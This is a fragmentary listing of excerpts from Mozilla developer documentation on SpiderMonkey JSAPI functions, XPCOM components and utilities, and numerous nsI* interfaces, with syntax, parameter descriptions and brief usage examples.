syntax // added in spidermonkey 45 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, const char *name); // obsolete since jsapi 44 jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsid> id); // obsolete since jsapi 39 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, const char *name); jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, js::handle<jsid> id); // added in spidermonkey 17 name ...
...type description cx jscontext * the context in which to create the new function.
...obsolete since jsapi 39 name const char * name to assign to the new function.
... see also mxr id search for js_newfunction mxr id search for js_newfunctionbyid js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_compileucfunction js_definefunction js_definefunctions js_getfunctionname js_getfunctionobject bug 607695 - added js_newfunctionbyid bug 1140573 - removed parent parameter bug 1054756 - removed js_newfunctionbyid ...
JS_NewStringCopyZ
syntax jsstring * js_newstringcopyz(jscontext *cx, const char *s); jsstring * js_newucstringcopyz(jscontext *cx, const char16_t *s); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... s const char * or const char16_t * pointer to the character array containing the text for the js string to create; or null.
... description js_newstringcopyz allocates space for a new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string.
...see also mxr id search for js_newstringcopyz mxr id search for js_newucstringcopyz js_getemptystringvalue js_newstringcopyn js_newucstringcopyn js_valuetostring ...
JS_ObjectIsDate
syntax bool js_objectisdate(jscontext *cx, js::handleobject obj); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
... obj jsobject * jsobject that should be checked.
... description js_objectisdate() can be used to check if you are dealing with a date object, or a date object used across compartments (or windows or sites, in the browser embedding).
...see also mxr id search for js_objectisdate js_newdateobject js_newdateobjectmsec bug 625870 ...
JS_PSGS
name type description name const char * the javascript name for the property.
... gettername const char * the function's name in self-hosted javascript code for getter function.
... settername const char * the function's name in self-hosted javascript code for setter function.
... see also mxr id search for js_psg mxr id search for js_psgs mxr id search for js_self_hosted_get mxr id search for js_self_hosted_getset jspropertyspec js_defineproperties js_initclass bug 684526 - added.
JS_ReportError
this function can also raise a javascript exception which a currently executing script can catch.
... syntax void js_reporterror(jscontext *cx, const char *format, ...); bool js_reportwarning(jscontext *cx, const char *format, ...); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... format const char * format string to convert into an error message using js_vsmprintf.
...see also mxr id search for js_reporterror mxr id search for js_reportwarning ...
JS_ResolveStandardClass
syntax bool js_resolvestandardclass(jscontext *cx, js::handleobject obj, js::handleid id, bool *resolved); name type description cx jscontext * pointer to the executable script context for which to initialize js function and object classes.
... id js::handleid an id of a standard class name, which must contain either a string or an int.
... description js_resolvestandardclass resolves id, which must contain either a string or an int, to a standard class name in obj if possible, defining the class's constructor and/or prototype and storing true in *resolved.
... see also mxr id search for js_resolvestandardclass js_enumeratestandardclasses ...
JS_SetAllNonReservedSlotsToUndefined
syntax void js_setallnonreservedslotstoundefined(jscontext *cx, jsobject *objarg); name type description cx jscontext * the context in which to clear the object.
... obj jsobject * object from which to delete all properties.
...properties belonging to objects on obj's prototype chain are not affected.
... see also mxr id search for js_setallnonreservedslotstoundefined bug 749371 ...
JS_SetElement
js::handleobject obj, uint32_t index, uint32_t v); bool js_setelement(jscontext *cx, js::handleobject obj, uint32_t index, double v); /* obsolete since jsapi 29 */ bool js_setelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandlevalue vp); name type description cx jscontext * the context in which to set the element.
...js_setelement ordinarily leaves *vp unchanged, but a jsclass.addproperty hook or non-default setter may modify it.
... obsolete since jsapi 29 on success, js_setelement returns true and the value left in *vp is left unchanged unless an addproperty hook or setter modified it.
... see also mxr id search for js_setelement bug 963167 - added v ...
JS_SetFunctionCallback
syntax void js_setfunctioncallback(jscontext *cx, jsfunctioncallback fcb); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... description js_setfunctioncallback sets a c function to be called each time a javascript function is invoked or exits.
... cx jscontext * the javascript context in which the script is being run.
... see also mxr id search for js_setfunctioncallback function tracing js_getfunctioncallback bug 1103269 ...
JS_SetGCZeal
there are several different levels which have different functions: zeal level description 0 normal amount of collection.
... 13 check internal hashtables on minor gc.
... with gc zeal enabled, gc-related crashes are much easier to reproduce (they happen more reliably) and debug (they happen sooner, closer to the source of the bug).
...(in a debug build of gecko, you can also set the current gc zeal level using the javascript.options.gczeal preference.) see also mxr id search for js_setgczeal mxr id search for js_gc_zeal js_schedulegc bug 308429 bug 650978 ...
JS_SetPrivate
syntax void js_setprivate(jsobject *obj, void *data); name type description obj jsobject * object for which to set private data.
... description if a jsclass has the jsclass_has_private flag, each object of that class has a private field of type void * which the application may use for any purpose.
...that object may already be using the private data field for something else; or there might not be a private data field in that object at all, in which case js_setprivate would overwrite an object property.
...see also mxr id search for js_setprivate ...
JS_SetPrototype
syntax bool js_setprototype(jscontext *cx, js::handleobject obj, js::handleobject proto); name type description cx jscontext * the context in which to set the object's prototype.
...obj is a pointer to an existing js object, and proto is a pointer to second existing object upon which the first object is to be based.
...take care not to create a circularly-linked list of prototypes using this function, because such a set of prototypes cannot be resolved by the javascript engine and can easily lead to an infinite loop.
...see also lxr id search js_getprototype ...
JS_ThrowStopIteration
syntax bool js_throwstopiteration(jscontext *cx); name type description cx jscontext * the context in which to throw the stopiteration object.
... in for…in and for each…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators.
...the engine automatically catches the exception and exits the loop.
... see also mxr id search for js_throwstopiteration js_isstopiteration bug 390947 ...
JS_ValueToFunction
syntax jsfunction * js_valuetofunction(jscontext *cx, js::handlevalue v); jsfunction * js_valuetoconstructor(jscontext *cx, js::handlevalue v); name type description cx jscontext * the context in which to perform the conversion.
...unless the function happens to be a native function, this means it isn't attached to any global or enclosing scope, and therefore must not be treated like a real function.
... instead, use jsval_is_object and js_objectisfunction() to check whether a value is already a function, or use js_convertvalue() to convert a value to jstype_function safely.
... see also mxr id search for js_valuetofunction mxr id search for js_valuetoconstructor ...
JS_ValueToId
syntax bool js_valuetoid(jscontext *cx, js::handlevalue v, js::mutablehandleid idp); bool js_stringtoid(jscontext *cx, js::handlestring s, js::mutablehandleid idp); // added in spidermonkey 38 bool js_indextoid(jscontext *cx, uint32_t index, js::mutablehandleid idp); // added in spidermonkey 17 bool js_charstoid(jscontext* cx, js::twobytechars chars, js::mutablehandleid idp); // added in spidermonkey 24 void js::protokeytoid(jscontext *cx, jsprotokey key, js::mutablehandleid idp); // added in spidermonkey 38 name type description cx jscontext * a context.
... chars js::twobytechars the string to convert.
... js_stringtoid and js_charstoid convert a specified string to a jsid.
... mxr id search for js_valuetoid see also mxr id search for js_idtovalue mxr id search for js_stringtoid mxr id search for js_indextoid mxr id search for js_charstoid mxr id search for js::protokeytoid js_valuetoid bug 698495 - added js_indextoid bug 830500 - added js_charstoid bug 959787 - added js_stringtoid bug 987669 - added js::protokeytoid ...
The Rust programming language
rust is a new open-source systems programming language created by mozilla and a community of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors.
... in addition, rust offers zero-cost abstractions, move semantics, guaranteed memory safety, threads with no data races, trait-based generics, pattern matching, type inference, and efficient c bindings, with a minimum runtime size.
... to learn more about rust, you can: watch the videos below for a closer look at the power and benefits rust provides.
... download the rust compiler, check out examples, and learn everything you could possibly wish to know at the rust official web site.
Implementation Details
msaa/iaccessible2 at-spi avoiding memory leaks it is the assistive technology's responsibility to watch for events that indicate when windows or content subtrees are being destroyed, and to release all accessible objects related to that window.
... in addition, state_defunct is set on objects that should be released by the assistive technology.
... mutation events should be watched to invalidate the cache.
... under msaa/ia2, watch for event_hide under atk/at-spi, watch for children-changed:remove to help developers in that regard, there is memory leak monitor, a firefox extension.
Accessibility API Implementation Details
these pages contain documentation on mozilla specific implementation details of assistive technology apis.
... at apis supportthis documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software.
...this article (from 2007) reviews the progress and technology as it has developed.
...it is much in progress.
Frecency algorithm
frecency is a score given to each unique uri in places, encompassing bookmarks, history and tags.
...points for each sampled visit = (bonus / 100.0) * weight final frecency score for visited uri = ceiling(total visit count * sum of points for sampled visits / number of sampled visits) example this is an example of a frecency calculation for a uri that is bookmarked and has been visited twice recently (once yesterday, and once last week by clicking a link), and two other times more th...
... the initial implementation was done by seth and dietrich ayala.
... further features and refinement by ed lee (implemented adaptive matching and most of the character restrictors), marco bonardo and shawn wilsher.
Aggregating the In-Memory Datasource
say you were writing a datasource2, and the way you chose to implement it was to "wrap" the in-memory datasource; i.e., myclass : public nsimyinterface, public nsirdfdatasource { private: nscomptr<nsirdfdatasource> minner; public: // nsirdfdatasource methods ns_imethod init(const char* auri) { return minner->init(auri); } ns_imethod geturi(char* *auri) { return minner->geturi(auri); } // etc., for each method in nsirdfdatasource!
... in short, the only case where this technique is useful is when you're implementing a datasource to get "read-only reflection".
... technical details as before, have an nscomptr as your delegate, but this time around,don't derive from nsirdfdatasource.
... now, if the in-memory datasource's implementation of queryinterface() fails because it doesn't support the requested interface, it willforward the query interface to its "outer" (which is "us").
Generic factory
*/ class nsigenericfactory : public nsifactory { public: static const nsiid& iid() { static nsiid iid = ns_igenericfactory_iid; return iid; } typedef ns_callback(constructorprocptr) (nsisupports *aouter, refnsiid aiid, void **aresult); /** * establishes the generic factory's constructor function, which will be called * by createinstance.
...define a constructor function that matches the constructorprocptr prototype, and call nsigenericfactory::setconstructor with a pointer to that function.
...itory) { nsigenericfactory* factory = null; nscid kgenericfactorycid = ns_genericfactory_cid; nsresult res = repository->createinstance(kgenericfactorycid, null, nsigenericfactory::iid(), &factory); if (res == ns_ok) { factory->setconstructor(&mycomponent::create); } return factory; } this example assumes that the xpcom repository is available as an interface (which it soon will be).
...it seems to me that we can cut down on code size (all those queryinterface, addref, release implementations) if we just use the following class for all of the simple factories: // idea: why not create a generic factory facility so we can avoid // duplication of so much nsifactory code?
Receiving startup notifications
receiving startup notifications in gecko 2.0 (firefox 4) and later in order to improve startup times, changes were made to the xpcom startup process.
...the important thing to note is that now instead of registering with the category manager programmatically as was done in the past, you add lines to your chrome.manifest to let the application handle it for you.
... for example: category profile-after-change mycomponent @foobar/mycomponent;1 important: in the past, the contract id of the category entry started with "service," if the component was implemented as a service.
...additionally, the earliest startup time notification you can receive is now profile-after-change.
Components.Constructor
summary creates a javascript function which can be used to create or construct new instances of xpcom components.
... syntax var func = [ new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components.
...for example: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1"); var bis = new binaryinputstream(); print(bis.tostring()); // "[xpconnect wrapped nsisupports]" try { // someinputstream is an existing nsiinputstream // throws because bis hasn't been qi'd to nsibinaryinputstream bis.setinputstream(someinputstream); } catch (e) { bis.queryinterface(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // succeeds now } if two arguments are given, the created instance will be nsisupports.queryinterface()'d to the xpcom interface whose name is the second argument: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1", ...
...ed: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1", "nsibinaryinputstream", "setinputstream"); try { // throws, because number of arguments isn't equal to the number of // arguments nsibinaryinputstream.setinputstream takes var bis = new binaryinputstream(); } catch (e) { // someinputstream is an existing nsiinputstream bis = new binaryinputstream(someinputstream); // succeeds var bytes = bis.readbytearray(somenumberofbytes); // succeeds } compare instance creation from base principles with instance creation using components.constructor(); the latter is much easier to read than the former (particularly if you're creating instances of a component in m...
Components.interfacesByID
introduction components.interfacesbyid is a read-only array of objects which implement the nsijsiid interface.
... each object represents one of the xpcom interfaces -- that some component or another might or might not implement.
... it reflects only those interfaces which have been designated in their .idl description as [scriptable], i.e.
... the interfaces which xpconnect is capable of reflecting into javascript.
Components.utils.createObjectIn
this function is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor.
...see details in https://blog.mozilla.org/addons/2014/04/10/changes-to-unsafewindow-for-the-add-on-sdk/.
... syntax var newobject = components.utils.createobjectin(obj, options); parameters obj an object indicating the compartment in which the new object should be created; the new object will be created in the scope of this object's compartment.
... options an object containing a single option defineas, which determines the name of the object in the target compartment.
Components.utils.forceGC
this mechanism doesn't account for any native (c++) xpcom objects hanging off javascript objects though.
... in many cases a javascript application will have internal knowledge of javascript objects referencing large (trees of) xpcom objects and know when they are no longer reachable.
...this will make sure that xpcom components that build cycles with javascript objects also get collected which might be important, for example for testcases that depend on the garbage collector.
...if you want to schedule garbage collection to occur in the future, at a time when no javascript code is running, you can use components.utils.scheduleprecisegc() instead.
Components.utils.getWeakReference
you might have to check other aspects of the object (like node.parentnode() on a dom node) to verify the object is truly what you want.
... syntax weakref = components.utils.getweakreference(obj); parameters obj the object for which to obtain a weak reference.
... note: in gecko 11.0, this method was changed to throw an exception if obj is null.
...and then later on it is matched in the array and used.
Components.utils.reportError
it is meant for use by extension developers who have exception handler blocks which want to "eat" an exception, but still want to report it to the console.
... it must be called with one parameter, usually an object which was caught by an exception handler.
... function mydump(amessage) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); consoleservice.logstringmessage("my component: " + amessage); } firefox 3: the error console will not display chrome errors by default.
... examples usage in an exception handler: try { this.could.raise.an.exception; } catch(e) { components.utils.reporterror(e); // report the error and continue execution } sending debugging messages to the error console: components.utils.reporterror("init() called"); ...
Components.utils.waiveXrays
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
...the result of waivexrays is just like the wrappedjsobject property for xrayed objects, but it's more useful because you can call it on primitives or objects that aren't xrays, in which case it just returns the argument you passed in.
...syntax waived = components.utils.waivexrays(obj); parameters obj the object for which we wish to waive xrays.
...example suppose a page script adds an expando to its global window: // page script foo = "i'm an expando"; by default, chrome code won't see foo, because it sees the content window with xray vision, but the chrome code can waive xray protection: // chrome code // contentwindow is an xray var isxray = components.utils.isxraywrapper(gbrowser.contentwindow); // true // expandos are not visible in xrays var foo = gbrowser.contentwindow.foo; // undefined // you can waive xray vision for an object var waived = components.utils.waiv...
JavaXPCOM
javaxpcom allows for communication between java and xpcom, such that a java application can access xpcom objects, and xpcom can access any java class that implements an xpcom interface.
... sample code there are several java test applications checked in to the tree that give examples on how to embed gecko or init xpcom from within java.
... embedding mozilla in a java application using javaxpcom xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects.
... as you will see in this article, working with xpcom objects in java is not that much different than doing so in c++.
Monitoring HTTP activity
gecko includes the nsihttpactivityobserver interface, which you can implement in your code to monitor http transactions in real time, receiving a callback as the transactions take place.
...this is very simple, requiring you to implement a single method, nsihttpactivityobserver.observeactivity(), which gets called each time an action of interest takes place on the http channel.
... // define a reference to the interfacevar nsihttpactivityobserver = components.interfaces.nsihttpactivityobserver; var httpobserver = { observeactivity: function(ahttpchannel, aactivitytype, aactivitysubtype, atimestamp, aextrasizedata, aextrastringdata) { if (aactivitytype == nsihttpactivityobserver.activity_type_http_transaction) { switch(aactivitysubtype) { case nsihttpactivityobserver.activity_subtype_response_header: // received response header break; case nsihttpactivityobserver.activity_subtype_response_complete: // received complete http response break; } } } }; then you need to install your activity observer.
...observable socket activities when the activity type reported to your nsihttpactivityobserver.observeactivity() method is activity_type_socket_transport, the activity subtype, which indicates the specific type of activity that occurred, will be a socket transport status code.
NS_OVERRIDE
ns_override is a macro which allows c++ code in mozilla to specify that a method is intended to override a base class method.
... if there is no base class method with the same signature, a compiler with static-checking enabled will fail to compile.
...example class a has a method getfoo() which is overridden by class b: class a { virtual nsresult getfoo(nsifoo** aresult); }; class b : public a { ns_override virtual nsresult getfoo(nsifoo** aresult); }; later, the signature of a::getfoo() is changed to remove the output parameter: class a { - virtual nsresult getfoo(nsifoo** aresult); + virtual already_addrefed<nsifoo> getfoo(); }; b::getfoo() no longer overrides a::getfoo() as was originally intended.
... a compiler with static-checking enabled will issue the following error: test.cpp:8: error: ns_override function b::getfoo(nsifoo**) does not override a base class method with the same name and signature.
Replace
void replace( index_type acutstart, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units.
...adata [in] a raw character array to append to this string.
... void replace( index_type acutstart, index_type acutlength, char_type achar ); parameters acutstart [in] the starting index of the section to remove, measured in storage units.
...achar [in] a character to append to this string.
Replace
void replace( index_type acutstart, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units.
...adata [in] a raw character array to append to this string.
... void replace( index_type acutstart, index_type acutlength, char_type achar ); parameter acutstart [in] the starting index of the section to remove, measured in storage units.
...achar [in] a character to append to this string.
RefPtr
this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper around a count of the number of references refering to the class.
...there are no technical problems with doing so, and in some cases it may be necessary (see bug 756640 comment 1).
... for example, we have template classes such as owningnullptr that can contain a refptr to an xpcom interface.
... instead of using "do_queryinterface()" (which is used for nscomptrs), use "do_queryobject()", which works with refptrs: // let's say nsfoo implements nsifoo and nsibar xpcom interfaces: refptr<nsfoo> foo = new nsfoo(); nscomptr<nsibar> bar(do_queryobject(foo)); moz_assert(bar, "yikes someone changed the base classes of nsfoo"); can i queryinterface an nscomptr back to a refptr?
mozIPlaceInfo
warning: this interface is experimental and will change after gecko 2.0.
... toolkit/components/places/public/moziasynchistory.idlscriptable this interface provides additional info for a places entry 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description frecency long read only: the frecency of the place.
... placeid long read only: the machine-local (internal) id of the place.
... see also moziasynchistory mozivisitinfo ...
mozIStorageAsyncStatement
an asynchronous sql statement.
... this differs from mozistoragestatement by only being usable for asynchronous execution.
... (mozistoragestatement can be used for both synchronous and asynchronous purposes.) this specialization for asynchronous operation allows us to avoid needing to acquire synchronization primitives also used by the asynchronous execution thread.
... in contrast, mozistoragestatement may need to acquire the primitives and consequently can cause the main thread to lock for extended intervals while the asynchronous thread performs some long-running operation.
mozIStorageStatementCallback
the mozistoragestatementcallback interface represents a callback handler that the storage api calls with result, error, and completion notifications while handling asynchronous database queries.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void handlecompletion(in unsigned short areason); void handleerror(in mozistorageerror aerror); void handleresult(in mozistorageresultset aresultset); constants constant value description reason_finished 0 the statement has finished executing normally.
...this function may be called more than once with a different storageierror each time for any given asynchronous statement, and handlecompletion will be called once the statement is complete.
...generally, this method will be called several times, each time providing one or more results.
mozIVisitInfo
toolkit/components/places/moziasynchistory.idlscriptable this interface provides additional info for a visit.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description referreruri nsiuri read only: the referring uri of this visit.
... visitid long read only: the machine-local (internal) id of the visit.
... see also moziasynchistory ...
nsICRLManager
inherits from: nsisupports last changed in gecko 1.7 method overview wstring computenextautoupdatetime(in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays); void deletecrl(in unsigned long crlindex); nsiarray getcrls(); void importcrl([array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey); void reschedulecrlautoupdate(); boolean updatecrlfromurl(in wstring url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime(...
...void importcrl( [array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey ); parameters data length uri type dosilentdownload crlkey reschedulecrlautoupdate() this would reschedule the autoupdate of crls with auto update enable.
... void reschedulecrlautoupdate(); parameters none.
... updatecrlfromurl() update an existing crl from the last fetched url.
nsIComponentRegistrar
inherits from: nsisupports last changed in gecko 1.0 method overview void autoregister(in nsifile aspec); void autounregister(in nsifile aspec); string cidtocontractid(in nscidref aclass); nscidptr contractidtocid(in string acontractid); nsisimpleenumerator enumeratecids(); nsisimpleenumerator enumeratecontractids(); boolean iscidregistered(in nscidref aclass); boolean iscontractidregistered(in string acontractid); void registerfactory(in nscidref aclass, in string aclassname, in string acontractid, in nsifactory afactory); void registerfactorylocation(in nscidref aclass, in string aclassname, in string acontractid, in ns...
...registration lasts for this run only, and is not cached.
...component files must have an associated loader and export the required symbols which this loader defines.
...this file must have an associated loader and export the required symbols, which the loader specifies.
nsIConsoleService
inherits from: nsisupports last changed in gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16) implemented by: @mozilla.org/consoleservice;1 as a service: var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); method overview void getmessagearray([array, size_is(count)] out nsiconsolemessage messages, out uint32_t count);obsolete since gecko 19 void getmessagearray([optional] out uin...
... note: to guard against stack overflows from listeners which could log messages (this could be done inadvertently through listeners implemented in javascript), we do not call any listeners when another error is already being logged.
...in this example nsiscripterror, which implements nsiconsolemessage, is used to include information about the source file and line number of the error.
...acolumnnumber is used to draw the arrow pointing to the problem character.
nsIContentPrefCallback2
dom/interfaces/base/nsicontentprefservice2.idlscriptable callback used by nsicontentprefservice2 methods 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) method overview void handlecompletion(in unsigned short reason); void handleerror(in nsresult error); void handleresult(in nsicontentpref pref); constants constant value description complete_ok 0 complete_error 1 methods handlecompletion() called when the method finishes.
... this will be called exactly once for each method invocation, and afterward no other callback methods will be called.
... void handlecompletion( in unsigned short reason ); parameters reason one of the complete_* values indicating the manner in which the method completed.
... handleresult() for the retrieval methods, this is called once for each retrieved preference.
nsICookieConsent
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void getconsent(); methods getconsent() gives a decision on what should be done with a cookie, based on a site's p3p policy and the user's preferences.
... the policy for the given uri and channel is also returned.
... nscookiestatus getconsent( in nsiuri uri, in nsihttpchannel httpchannel, in boolean isforeign, out nscookiepolicy policy ); parameters uri the uri to find the policy for.
... httpchannel the channel to extract the p3p headers from.
nsICookieManager
last changed in gecko 1.7 inherits from: nsisupports this interface is intended to be used as a service.
.../cookiemanager;1 component, but should generally be accessed via services.cookies method overview void remove(in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aoriginattributes); void removeall(); attributes attribute type description enumerator nsisimpleenumerator called to enumerate through each cookie in the cookie list.
... void remove( in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aoriginattributes ); parameters ahost the host or domain for which the cookie was set.
... apath the path for which the cookie was set.
nsIDOMGlobalPropertyInitializer
dom/interfaces/base/nsidomglobalpropertyinitializer.idlscriptable an initializer for global properties that lets them know about the window they're being attached to.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) an xpcom component implementing this interface can be exposed to web content as a property on the window.
...method overview jsval init(in nsidomwindow window); methods init() jsval init( in nsidomwindow window ); parameters window the window to which the global property is being attached.
... it is also recommended to use __exposedprops__ to control which members are exposed.
nsIDOMHTMLTimeRanges
each time range represented by an nsidomhtmltimeranges object has an index number; you call the start() and end() methods to obtain the start and end times of each range, specifying the index number of the range to look up.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports method overview float start(in unsigned long index); float end(in unsigned long index); attributes attribute type description length unsigned long the number of ranges represented by the nsidomhtmltimeranges object.
... return value the time at which the specified range ends, in seconds measured from the beginning of the timeline represented by the object.
... return value the time at which the specified range starts, in seconds measured from the beginning of the timeline represented by the object.
nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); ...
...roughly equivalent to body.contenteditable domain domstring initially the host name of the document's url, but may be changed to the parent (but not top-level) domain in order to facilitate data exchange between documents from different sites in the same domain.
... fgcolor domstring same as body.text head nsidomhtmlheadelement returns the first child element of the html element that is a head element, or null if there is no html or head element.
...see rich-text editing in mozilla for a list of supported commands.
nsIDOMWindow2
it represents a single window object that may contain child windows if the document in the window contains an html frameset document, or if the document contains <iframe> elements.
... inherits from: nsidomwindow last changed in gecko 1.9 (firefox 3) because nsidomwindow is frozen, this interface was introduced in firefox 3 (gecko 1.9) to allow dom windows to take on new features.
... dom windows implement nsidomwindow2, which is a subclass of nsidomwindow.
... attributes attribute type description applicationcache nsidomofflineresourcelist the application cache object for this window.
nsIDeviceMotion
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: this interface was named nsidevicemotion prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
... methods addlistener() when called, the accelerometer support implementation must begin to notify the specified nsidevicemotionlistener by calling its nsidevicemotionlistener.onaccelerationchange() method as appropriate to share updated acceleration data.
... void addlistener( in nsidevicemotionlistener alistener ); parameters alistener the nsidevicemotionlistener object whose nsidevicemotionlistener.onaccelerationchange() method should be called with updated acceleration data.
...void removelistener( in nsidevicemotionlistener alistener ); parameters alistener the nsidevicemotionlistener object to which no further updates should be sent.
nsIDictionary
66 introduced gecko 1.0 obsolete gecko 1.9.1 inherits from: nsisummary last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this interface was removed in firefox 3.5; use dict.jsm instead.
...method overview boolean haskey(in string key); void getkeys(out pruint32 count, [retval, array, size_is(count)] out string keys); nsisupports getvalue(in string key); void setvalue(in string key, in nsisupports value); nsisupports deletevalue(in string key); void clear(); methods haskey() check if a given key is present in the dictionary.
... boolean haskey( in string key ); parameters key key to check for.
... void setvalue( in string key, in nsisupports value ); parameters key the key by which the value can be accessed.
nsIDirIndex
because this has no reference back to their original source, changing these attributes won't affect the directory.
... inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description contenttype string the content type; may be null if it is unknown.
... description wstring a description for the filename, which should be displayed by a viewer.
... lastmodified prtime last-modified time in seconds-since-epoch.
nsIDirectoryServiceProvider
inherits from: nsisupports last changed in gecko 1.7 nsidirectoryserviceprovider.
...persistent true if the returned file will be cached by directory service.
... subsequent requests for this prop will bypass the provider and use the cache.
... false if the provider will be asked for this prop each time it is requested.
nsIDroppedLinkHandler
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean candroplink(in nsidomdragevent aevent, in prbool aallowsamedocument); astring droplink(in nsidomdragevent aevent, out astring aname, [optional] in boolean adisallowinherit); void droplinks(in nsidomdragevent aevent, [optional] in boolean adisallowinherit, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidroppedlinkitem alinks); methods candroplink() determines if a link being dragged can be dropped.
...this check includes any parent, sibling and child frames in the same content tree.
... if true, the source is not checked.
...this prevents a source document from tricking the user into a dragging a chrome url for example.
nsIDynamicContainer
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the service can fill result nodes directly into the container when it is opened.
... it can use the property bag on every result node to store data associated with each item, such as a full path on disk.
... it can also create additional containers for each container, registered to its service.
...anewindex the index at which the container will be inserted, or "-1" to append to the end of the list.
nsIEditorMailSupport
inherits from: nsisupports last changed in gecko 1.7 method overview nsisupportsarray getembeddedobjects(); nsidomnode insertascitedquotation(in astring aquotedtext, in astring acitation, in boolean ainserthtml); nsidomnode insertasquotation(in astring aquotedtext); void inserttextwithquotations(in domstring astringtoinsert); void pasteascitedquotation(in astring acitation, in long aselectiontype); void pasteasquotation(in long aselectiontype); void rewrap(in boolean arespectnewlines); void stripcites(); methods getembeddedobjects() get a list of img and object tags in the current document.
...(vs plaintext) return value the nsidomnode which was inserted.
... return value the nsidomnode which was inserted.
... inserttextwithquotations() inserts a plain text string at the current location, with special processing for lines beginning with ">", which will be treated as mail quotes and inserted as plain text quoted blocks.
nsIEnvironment
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/process/environment;1 as a service: var env = components.classes["@mozilla.org/process/environment;1"].
...exists() check the existence of an environment variable.
... this method checks whether an environment variable is present in the environment or not.
... for non-unix/linux platforms we have to fall back to a "portable" definition (which is incorrect for unix/linux!!!!) which simply checks whether the string returned by get() is empty or not.
nsIFTPEventSink
it can be used as a notification callback on an ftp channel.
... netwerk/protocol/ftp/nsiftpchannel.idlscriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void onftpcontrollog(in boolean server, in string msg) methods onftpcontrollog allows a consumer to receive a log of the ftp control connection conversation.
...msg a string holding response of the last command which had been sent.
nsIFeedProgressListener
